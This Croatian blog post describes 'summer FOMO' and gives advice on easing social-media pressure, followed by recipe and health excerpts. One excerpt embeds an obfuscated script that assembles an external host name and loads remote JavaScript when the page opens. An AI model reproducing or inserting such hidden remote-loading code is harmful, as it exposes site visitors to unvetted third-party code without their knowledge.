ŠTO JE SUMMER FOMO I KAKO GA PREPOZNATI?




Što je summer fomo i kako ga prepoznati?



Ljeto se često prikazuje kao razdoblje ispunjeno putovanjima, koncertima, festivalima, druženjima i nezaboravnim uspomenama. Društvene mreže dodatno pojačavaju takvu sliku pa se lako može dogoditi da, umjesto uživanja u vlastitim planovima, počnete razmišljati o svemu što ne radite. Upravo se taj osjećaj naziva summer FOMO. Riječ je o ljetnoj verziji poznatog fenomena FOMO, odnosno straha da propuštate iskustva koja drugi doživljavaju. Iako nije riječ o medicinskoj dijagnozi, psiholozi ističu da može utjecati na raspoloženje, zadovoljstvo i doživljaj vlastitog života.




Kako prepoznati da imate summer FOMO

Jedan od prvih znakova jest osjećaj da stalno provjeravate što rade drugi i pritom razmišljate kako biste i vi trebali biti negdje drugdje.

Možda ste nezadovoljni vlastitim planovima, teško uživate u slobodnom vremenu ili imate osjećaj krivnje kada vikend provedete kod kuće. Neki ljudi počinju prihvaćati gotovo svaki poziv samo zato da ne bi imali osjećaj da nešto propuštaju, iako im zapravo treba odmor.




Više aktivnosti ne znači i više zadovoljstva

Lako je povjerovati da će više putovanja, više izlazaka ili više planova automatski donijeti više sreće. Međutim, psiholozi upozoravaju da stalna potreba da ispunite svaki slobodan trenutak može dovesti upravo do suprotnog učinka – umora, stresa i osjećaja da nikada nije dovoljno.

Odmor nije natjecanje, a kvalitetno provedeno vrijeme ne mjeri se brojem fotografija ili prijeđenih kilometara.




Kako se osloboditi pritiska

Prvi korak jest prihvatiti da ne morate sudjelovati u svemu. Ograničite vrijeme provedeno na društvenim mrežama ako primijetite da vas objave drugih opterećuju i usmjerite pažnju na ono što vas doista veseli.

Ponekad je šetnja u prirodi, večera s prijateljima ili miran vikend kod kuće upravo ono što vam treba, čak i ako se ne uklapa u sliku “savršenog ljeta” koju često viđamo na internetu.



Ne postoji ispravan način za provesti ljeto

Netko će godišnji odmor provesti putujući kroz nekoliko država, netko na plaži, a netko kod kuće. Sve su to jednako vrijedni načini odmora ako odgovaraju vašim željama i mogućnostima.

Najvažnije je da ljeto ne pretvorite u popis obveza koje morate ispuniti kako biste imali osjećaj da ste ga dobro iskoristili.

Summer FOMO podsjeća koliko lako možemo početi živjeti prema tuđim očekivanjima umjesto vlastitima. Kada prestanete razmišljati o tome što propuštate i usredotočite se na ono što vam donosi zadovoljstvo, mnogo je lakše uživati u ljetu bez osjećaja da stalno kasnite za tuđim životima.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više